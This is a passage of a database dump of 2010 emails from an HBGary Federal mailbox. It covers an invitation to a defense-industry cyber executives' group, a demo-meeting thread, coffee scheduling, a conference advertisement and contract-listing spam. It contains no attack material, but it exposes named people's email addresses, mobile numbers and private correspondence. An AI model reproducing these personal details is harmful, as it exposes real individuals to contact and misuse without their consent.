&lt;michael.fraser@usis.com&gt;Cc: Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jim Garrettson &lt;jimg@executivebiz.com&gt;Sent: Tue Jun 08 17:47:37 2010Subject: 4X24 Cyber Group\r\n\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n&nbsp;\r\n\r\nAs we approach the date of our first meeting, I wanted to\r\ntake a moment to welcome you to the new 4X24 Executivebiz Cyber Group. \r\n\r\n&nbsp;\r\n\r\nWhen JD and Jim approached me a few months ago about their\r\nidea to form the new group, I was of course excited about the opportunity. We have\r\nall participated in the growth of cybersecurity business within our own companies,\r\nand I am sure that you are constantly bombarded with &#8220;opportunities&#8221;\r\nto participate in various forums, conferences, etc. We are in the fortunate\r\nposition of being in one of the fastest growing technology and business areas\r\nin the world, and we are all leaders in our own companies in this market. I\r\nbelieve that we are on the cusp of a number of events that will define the\r\nfuture of our business, including the standup of the USCYBERCOMMAND and &nbsp;the\r\ndefining of the relationships between and among NSA, DHS, DISA, USCYBERCOMMAND,\r\nand other organizations. There are also a number of pending cyber related bills\r\nin various stages of the legislative process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nI would like to use our group as more than a periodic dinner\r\nmeeting, as a real and virtual forum to help influence the outcome of some of\r\nthese defining events. Together we represent most of the large companies in our\r\nindustry, and we should be able to identify issues that we all have in common and\r\ntry to influence the future of cyber. I believe we can put aside our\r\ncompetitive interests and work together in the best interests of our\r\ngovernment. We face a huge and growing problem, and I believe the solution lies\r\nnot in a government or industry answer, but rather a common approach. I look\r\nforward to working with you to help define our future. A famous Redskins coach\r\nused to say that &#8220;the future is now&#8221;, and I believe that is true\r\nfor our industry right now also.\r\n\r\n&nbsp;\r\n\r\nOur first guest speaker will be my good friend Bill Crowell.\r\nI know that you all know Bill, or at least know of him, &nbsp;and I have relied\r\nupon his advice substantially as a leader who has had a front row seat to the\r\nworld of cyber since before we called it cyber! I do not know of anyone more\r\nconnected to companies large and small, and I know that Bill will help us get\r\nthe group off to a roaring start. I look forward to seeing everyone for dinner\r\non June 15 at Flemings. &nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBill\r\n\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15185,'aaron_hbgary_com/15185.html'),(7222,'2010-06-09','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>','/aaron@hbgary.com/new/1297005266.M494756P14101Q2077.eml','\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"skip.foote@americansystems.com\" <skip.foote@americansystems.com>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"Barbara.G.Fast@boeing.com\" <Barbara.G.Fast@boeing.com>,\"zazmi@caci.com\" <zazmi@caci.com>,\"wcooper@cisco.com\" <wcooper@cisco.com>,\"svisner@csc.com\" <svisner@csc.com>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"samuel.chun@hp.com\" <samuel.chun@hp.com>,\"ccpalmer@us.ibm.com\" <ccpalmer@us.ibm.com>,\"jwatters@isightpartners.com\" <jwatters@isightpartners.com>,\"rdix@juniper.net\" <rdix@juniper.net>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"Kathy.Warden@ngc.com\" <Kathy.Warden@ngc.com>,\"ed.gibson@us.pwc.com\" <ed.gibson@us.pwc.com>,\"shawn.carroll@qwest.com\" <shawn.carroll@qwest.com>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"coxld@saic.com\" <coxld@saic.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"tiffany_jones@symantec.com\" <tiffany_jones@symantec.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>','Re: 4X24 Cyber Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nBill,You set a good course. jloJohn OsterholzVice PresidentCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;To: Bill.Varner@ManTech.com &lt;Bill.Varner@ManTech.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; Osterholz, John (US SSA); barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; aaron@hbgary.com &lt;aaron@hbgary.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; Kathy.Warden@ngc.com &lt;Kathy.Warden@ngc.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;Cc: jennifer@executivebiz.com &lt;jennifer@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; jimg@executivebiz.com &lt;jimg@executivebiz.com&gt;Sent: Tue Jun 08 20:46:49 2010Subject: Re: 4X24 Cyber Group\r\n\r\nBill, looking fwd to discussions. Best, Alex\r\n\r\n\r\nFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;To: lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; john.osterholz@baesystems.com &lt;john.osterholz@baesystems.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; aaron@hbgary.com &lt;aaron@hbgary.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; Miller, Alexander A @ STRATIS; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;Cc: Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jim Garrettson &lt;jimg@executivebiz.com&gt;Sent: Tue Jun 08 17:47:37 2010Subject: 4X24 Cyber Group\r\n\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n&nbsp;\r\n\r\nAs we approach the date of our first meeting, I wanted to\r\ntake a moment to welcome you to the new 4X24 Executivebiz Cyber Group. \r\n\r\n&nbsp;\r\n\r\nWhen JD and Jim approached me a few months ago about their\r\nidea to form the new group, I was of course excited about the opportunity. We have\r\nall participated in the growth of cybersecurity business within our own companies,\r\nand I am sure that you are constantly bombarded with &#8220;opportunities&#8221;\r\nto participate in various forums, conferences, etc. We are in the fortunate\r\nposition of being in one of the fastest growing technology and business areas\r\nin the world, and we are all leaders in our own companies in this market. I\r\nbelieve that we are on the cusp of a number of events that will define the\r\nfuture of our business, including the standup of the USCYBERCOMMAND and &nbsp;the\r\ndefining of the relationships between and among NSA, DHS, DISA, USCYBERCOMMAND,\r\nand other organizations. There are also a number of pending cyber related bills\r\nin various stages of the legislative process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nI would like to use our group as more than a periodic dinner\r\nmeeting, as a real and virtual forum to help influence the outcome of some of\r\nthese defining events. Together we represent most of the large companies in our\r\nindustry, and we should be able to identify issues that we all have in common and\r\ntry to influence the future of cyber. I believe we can put aside our\r\ncompetitive interests and work together in the best interests of our\r\ngovernment. We face a huge and growing problem, and I believe the solution lies\r\nnot in a government or industry answer, but rather a common approach. I look\r\nforward to working with you to help define our future. A famous Redskins coach\r\nused to say that &#8220;the future is now&#8221;, and I believe that is true\r\nfor our industry right now also.\r\n\r\n&nbsp;\r\n\r\nOur first guest speaker will be my good friend Bill Crowell.\r\nI know that you all know Bill, or at least know of him, &nbsp;and I have relied\r\nupon his advice substantially as a leader who has had a front row seat to the\r\nworld of cyber since before we called it cyber! I do not know of anyone more\r\nconnected to companies large and small, and I know that Bill will help us get\r\nthe group off to a roaring start. I look forward to seeing everyone for dinner\r\non June 15 at Flemings. &nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBill\r\n\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3869,'aaron_hbgary_com/3869.html'),(7223,'2010-06-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005266.M708317P14101Q2078.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Commercial Integration Demo meeting','Just got off the phone, architectural creativity with regards to\r\ninfrastructure.  It\'s definitely a Greg area, that said, they have no\r\nproblem with you doing integration work.  The customer also wants to meet\r\nGreg and the technology providers.  We might have to add to our capabilities\r\nso it will fall under HBGary, but much of it will be HBGary Federal.  Call\r\nme we can discuss\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 5:43 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Commercial Integration Demo meeting\r\n\r\nWhat exactly are they wanting from HBGary?  I used to run covcom\r\nprograms.  What type of creativity are they looking for?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 8:26 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n> FYI, let me talk to Greg and see what is possible\r\n>\r\n> -----Original Message-----\r\n> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n> Sent: Tuesday, June 08, 2010 2:13 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Commercial Integration Demo meeting\r\n>\r\n> Penny\r\n>\r\n> As for timeframe.  It is a little bit hard to predict for sure, but we\r\n> are hoping funding will be here by September to fully fund the entire\r\n> project.  Consequently, we would like to be ready to start working as\r\n> soon as possible to support a Sept start.\r\n>\r\n> As for Aaron, I would really prefer Greg to come, we are trying to scope\r\n> out more than the integration of Digital DNA into the product and would\r\n> love to tap into Greg\'s creativity and to really see how far this can\r\n> go.  Is that possible?\r\n>\r\n> give me a call and we can discuss more.\r\n>\r\n> Nathan\r\n>\r\n> 719-321-6135\r\n>\r\n>\r\n>\r\n> On 6/8/2010 1:23 PM, Penny Leavy-Hoglund wrote:\r\n>> Nathan,\r\n>>\r\n>> Greg and I aren\'t there in DC but Aaron is and can\r\n>>\r\n>> -----Original Message-----\r\n>> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n>> Sent: Tuesday, June 08, 2010 5:30 AM\r\n>> To: Bob Graham; Penny Leavy-Hoglund; Economou, George; Ray Owen; jack\r\n>> kretovics; jhayes@blackridge.us\r\n>> Subject: Commercial Integration Demo meeting\r\n>>\r\n>> John, Penny, George, Jack\r\n>>\r\n>> We would like to have a kick off meeting in the Washington DC area\r\n>> around the 7th-9th of July for the sponsored Commercial Integration Demo\r\n>> involving your companies.  We can host at our offices in Crystal City,\r\n>> which will then give us good access to the customer.\r\n>>\r\n>> If these dates do not work, please let me know and we will start looking\r\n>> other times.\r\n>>\r\n>> thanks\r\n>>\r\n>> nathan\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n\r\n',1456,'aaron_hbgary_com/1456.html'),(7224,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005266.M928282P14101Q2079.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: 4X24 Cyber Group','Pse provide input for any topics of interest to discuss.  These are all the owners of cyber in the DIB.AaronSent from my iPadBegin forwarded message:\r\nFrom: &quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;Date: June 8, 2010 5:47:37 PM EDTTo: &lt;lance.cottrell@abraxascorp.com&gt;, &lt;bill.phelps@accenture.com&gt;, &lt;skip.foote@americansystems.com&gt;, &lt;roger_anderson@appsig.com&gt;, &lt;john.osterholz@baesystems.com&gt;, &lt;barbara.g.fast@boeing.com&gt;, &lt;zazmi@caci.com&gt;, &lt;wcooper@cisco.com&gt;, &lt;svisner@csc.com&gt;, &lt;david_joslin@federal.dell.com&gt;, &lt;jreagan@deloitte.com&gt;, &lt;nadia.short@gd-ais.com&gt;, &lt;jkoenig@harris.com&gt;, &lt;aaron@hbgary.com&gt;, &lt;samuel.chun@hp.com&gt;, &lt;ccpalmer@us.ibm.com&gt;, &lt;jwatters@isightpartners.com&gt;, &lt;rdix@juniper.net&gt;, &lt;dusty.wince@knowledgecg.com&gt;, &lt;alexander.miller@l-3com.com&gt;, &lt;scottmil@microsoft.com&gt;, &lt;gjg@mitre.org&gt;, &lt;rodney.joffe@neustar.biz&gt;, &lt;kathy.warden@ngc.com&gt;, &lt;ed.gibson@us.pwc.com&gt;, &lt;shawn.carroll@qwest.com&gt;, &lt;steve_k_hawkins@raytheon.com&gt;, &lt;bmalexia@rockwellcollins.com&gt;, &lt;coxld@saic.com&gt;, &lt;pat.burke@sra.com&gt;, &lt;kenneth.sannicolas@stanleyassociates.com&gt;, &lt;tiffany_jones@symantec.com&gt;, &lt;jpayne@telcordia.com&gt;, &lt;michael.fraser@usis.com&gt;\r\nCc: &quot;Jennifer Jordan - Harrell&quot; &lt;jennifer@executivebiz.com&gt;, &lt;jd@executivebiz.com&gt;, &quot;Jim Garrettson&quot; &lt;jimg@executivebiz.com&gt;\r\nSubject: 4X24 Cyber Group\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n \r\n\r\nAs we approach the date of our first meeting, I wanted to\r\ntake a moment to welcome you to the new 4X24 Executivebiz Cyber Group. \r\n\r\n \r\n\r\nWhen JD and Jim approached me a few months ago about their\r\nidea to form the new group, I was of course excited about the opportunity. We have\r\nall participated in the growth of cybersecurity business within our own companies,\r\nand I am sure that you are constantly bombarded with “opportunities”\r\nto participate in various forums, conferences, etc. We are in the fortunate\r\nposition of being in one of the fastest growing technology and business areas\r\nin the world, and we are all leaders in our own companies in this market. I\r\nbelieve that we are on the cusp of a number of events that will define the\r\nfuture of our business, including the standup of the USCYBERCOMMAND and  the\r\ndefining of the relationships between and among NSA, DHS, DISA, USCYBERCOMMAND,\r\nand other organizations. There are also a number of pending cyber related bills\r\nin various stages of the legislative process.  \r\n\r\n \r\n\r\nI would like to use our group as more than a periodic dinner\r\nmeeting, as a real and virtual forum to help influence the outcome of some of\r\nthese defining events. Together we represent most of the large companies in our\r\nindustry, and we should be able to identify issues that we all have in common and\r\ntry to influence the future of cyber. I believe we can put aside our\r\ncompetitive interests and work together in the best interests of our\r\ngovernment. We face a huge and growing problem, and I believe the solution lies\r\nnot in a government or industry answer, but rather a common approach. I look\r\nforward to working with you to help define our future. A famous Redskins coach\r\nused to say that “the future is now”, and I believe that is true\r\nfor our industry right now also.\r\n\r\n \r\n\r\nOur first guest speaker will be my good friend Bill Crowell.\r\nI know that you all know Bill, or at least know of him,  and I have relied\r\nupon his advice substantially as a leader who has had a front row seat to the\r\nworld of cyber since before we called it cyber! I do not know of anyone more\r\nconnected to companies large and small, and I know that Bill will help us get\r\nthe group off to a roaring start. I look forward to seeing everyone for dinner\r\non June 15 at Flemings.  \r\n\r\n \r\n\r\nSincerely,\r\n\r\nBill\r\n\r\n  \r\n\r\n \r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909  \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1565,'aaron_hbgary_com/1565.html'),(7225,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005267.M163988P14101Q2080.eml','\"William Luti\" <williamluti@verizon.net>','Re: Catch up','Great.  How about 1130 at the starbucks in RTC.\r\n\r\nLook forward to it.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 5:52 PM, William Luti  wrote:\r\n\r\n> Aaron, coffee at the Reston Starbucks sounds good to me. Just let me know what time is good for you and I\'ll be there. And I look forward to catching up. Best, Bill\r\n> On Jun 8, 2010, at 3:13 PM, Aaron Barr wrote:\r\n>\r\n>> I am in Chantilly in the morning until 11am.  Are you in Reston or Tysons?  I don\'t plan to make it up to Bethesda tomorrow.  Want to go for lunch or just coffee, either way good with me.  So suggestions:\r\n>>\r\n>> Coffee:\r\n>> Reston Towncenter Starbucks\r\n>> Tysons Starbucks on Route 7 near Panera Bread.\r\n>>\r\n>> Lunch:\r\n>> Mon Ami Gabi in Reston Towncenter\r\n>> Lebanese Taverna, Tysons Galleria II\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 8, 2010, at 10:47 AM, William Luti wrote:\r\n>>\r\n>>> Very good. I\'m free until 3pm so why don\'t you pick a time and location and I\'ll meet you there (I could come to your office as well, are you in Bethesda?). Bill\r\n>>> On Jun 8, 2010, at 10:35 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Hi Bill,\r\n>>>>\r\n>>>> Sounds good.  I am free tomorrow afternoon and have some time between 1030-2pm on Friday?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Jun 8, 2010, at 10:14 AM, William Luti wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Are you available for coffee am/pm this week. Would like to catch up and discuss business opportunities.\r\n>>>>>\r\n>>>>> Best,\r\n>>>>>\r\n>>>>> Bill\r\n>>>>>\r\n>>>>> (202)277-8361 cell\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n',12200,'aaron_hbgary_com/12200.html'),(7226,'2010-06-09','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297005267.M480899P14101Q2081.eml','aaron@hbgary.com','2010 LandWarNet Conference Speaker and Track Update','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n	\r\n\r\n\r\n          \r\n          \r\n	\r\n		\r\nThe 2010 LandWarNet Conference: &quot;LandWarNet - Providing Global Cyber Dominance to Joint/Combined Commanders&quot; is scheduled for August 3 - August 5, 2010 at the Tampa Convention Center in Tampa, Florida. \r\nOver 6000 attendees including Government, Military and Industry representatives are expected to participate in this year\'s event!\r\nRegister Now! \r\n      \r\nConfirmed Featured Speakers Include: \r\nGEN Keith B. Alexander, USA\r\n  Director, National Security Agency\r\n  Chief, Central Security Service\r\nCommander, U.S. Cyber Command\r\nLTG Jeffrey A. Sorenson, USA\r\n  Director, CIO/G-6 \r\n  United States Army\r\nMr. Louis V. Gerstner\r\nRetired CEO, IBM Corp.\r\n\r\n            The conference will feature 8 comprehensive track sessions on the following topics: \r\n\r\n\r\n   Joint/Combined \r\n  Enabling Joint Expeditionary Operations \r\n  Strengthening Cyberspace Operations Through Improved NETOPS \r\n  Network Transformation \r\n  Information Assurance - The Defender\'s Challenge \r\n  Innovating to Operationalize the LandWarNet \r\n  Army Team C4ISR - Providing Life-Cycle Management and Support to Current and Future Cyber Capabilities \r\n  Governance - Information Technology (IT) Management at the Enterprise Level \r\n  \r\n\r\n&nbsp;\r\nThe Technology Showcase will feature the latest in information technology. For a current list of exhibitors, click here.\r\n    \r\n    For more information, including a detailed agenda, fees, general information and hotel reservations, visit the conference website.\r\n    \r\n  Secure online registration - Click here\r\n  \r\n  We look forward to seeing you in TAMPA in August!\r\n  \r\n  Questions?\r\n  \r\n  Hotel: Email Tampa Bay &amp; Company \r\n  \r\n  Click here to make your hotel reservation online\r\n  \r\n  Exhibits: Email J. Spargo & Associates or call 703-631-6200\r\n  \r\n  Registration: Email J. Spargo & Associates or call 703-449-6418\r\n  \r\n  Patrons/Sponsors: Email Gina McGovern or call 703-631-6236\r\n  \r\n  All other questions: Email Terry Rogers or call 703-631-6238\r\n  \r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7883,'aaron_hbgary_com/7883.html'),(7227,'2010-06-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005267.M782730P14101Q2082.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: All New Listing: Contracts Expiring in Next 30 days in 	California for HBGARY FEDERAL','???? Spam ???Begin forwarded message:From: Proxity &lt;info@proxitymarketing.com&gt;\r\nDate: June 8, 2010 10:05:20 PM MDTTo: ted@hbgary.comSubject: All New Listing: Contracts Expiring in Next 30 days in California for HBGARY FEDERAL\r\nReply-To: info@proxitymarketing.com\r\nHi TED VERABelow is a list of expiring contracts in the state of California for the remainder of Jun.  \r\n  We are providing this data in order to get an appointment to show you our complete services, including daily bids as well as the most extensive database of research data available anywhere. $75 a month beats all the competition!  Where do you get a complete list of all expiring contracts by the following: AGENCY, \r\n  MONTH, and BY YEAR out to 2015?  How about all the contracting officers you need to know? We have all this data. We just need fifteen minutes online to demo the service. We offer a 100% guarantee and no contracts. Just reply and give us a time and date.  We are your business development solution! \r\n\r\nContact Us A sales person will call and give you a free\r\non-line demo.\r\n Or Call 757-502-8951\r\nPlease note: These links may take 20 to 30 seconds to perform your search. \r\nView Potentially Missed Expired Contracts\r\n\r\n  Or\r\n  \r\n http://www.proxity-ec.com/ExpiringAwardHistoryByNAICSFBO_FPDS.aspx?cage=5U1U6&amp;vendorid=3&amp;vendor_objectid=0&amp;naics=541512&amp;abbreviation=CA\r\nContract #Mod #Ref #Subject	Agency	VendorPOP Zip TotalSet Aside Award DateEst. Completion Date\r\n\r\nViewMembers Only0N6600106D0021Services IAW Attached PWSDepartment Of DefenseSCIENCE APPLICATIONS INTERNATI921523669999.9703/04/2009\r\n06/30/2010\r\nViewMembers Only0N6523609D5822LOT I - BASE YEARDepartment Of DefenseJUNO TECHNOLOGIES INC92679942460.91Woman Owned05/08/2009\r\n06/30/2010\r\nViewMembers Only01 YEAR BUSINESS DAY SUPPORT, NEO 2000Department Of DefensePACIFIC ALLIANCE CAPITAL INC.92656698006/19/2009\r\n06/18/2010\r\nViewMembers Only0N6600107D0055Engineering ServicesDepartment Of DefenseDELPHI RESEARCH INCORPORATED92152330906HUB Zone07/10/2009\r\n06/28/2010\r\nViewMembers Only0N6523609D5822LOT I - BASE YEARDepartment Of DefenseJUNO TECHNOLOGIES INC92679203979.56Woman Owned07/15/2009\r\n06/30/2010\r\nViewMembers Only0N6600107D0055Engineering ServicesDepartment Of DefenseDELPHI RESEARCH INCORPORATED92152223630HUB Zone07/20/2009\r\n06/27/2010\r\nViewMembers Only0N6523609D5822LOT I - BASE YEARDepartment Of DefenseJUNO TECHNOLOGIES INC9267994916.8Woman Owned08/27/2009\r\n06/30/2010\r\nViewMembers Only0N6600107D0055Engineering ServicesDepartment Of DefenseDELPHI RESEARCH INCORPORATED9212399900HUB Zone09/14/2009\r\n06/28/2010\r\nViewMembers Only0W912HZ05D0013U434ISC  Addtl Mobile Data Computer ImplementationDepartment Of DefenseTYONEK MANUFACTURING, LLC90501237826.74\r\nAmerican Indian Owned09/12/200906/13/2010\r\nViewMembers Only0W912HZ05D0013U434ISC  SHARKDepartment Of DefenseTYONEK MANUFACTURING, LLC9050111428.58American Indian Owned09/17/2009\r\n06/16/2010\r\nViewMembers Only0W912HZ05D0013U434ISC - FT. POLK CAD ADDITIONAL WORKSTATION Department Of DefenseTYONEK MANUFACTURING, LLC9050127881.48\r\nAmerican Indian Owned09/18/200906/17/2010\r\nViewMembers Only0GS35F0050Ltor# 56Federal Bureau Of InvestigationVISIONARY INTEGRATION PROFESSI95630182577.6Woman Owned04/16/2010\r\n06/19/2010\r\nViewMembers Only0GS35F0696MInstallation of Internal Phone System integrated iVeterans Affairs, Department OfSIEMENS GOVERNMENT SERVICES IN9412118443.51\r\n04/19/201007/08/2010\r\nViewMembers OnlyP00088Singapore 102Department Of DefenseSCIENCE APPLICATIONS INTERNATI921216493901/26/201006/16/2010\r\n\r\nViewMembers Only0ICS CCUU.S. Coast GuardPALOMAR PRODUCTS, INC.92688004/26/201006/11/2010\r\nViewMembers OnlyP00001ICS ICUU.S. Coast GuardPALOMAR PRODUCTS, INC.92688005/04/201006/21/2010\r\n\r\nContact Us A sales person will call and give you a 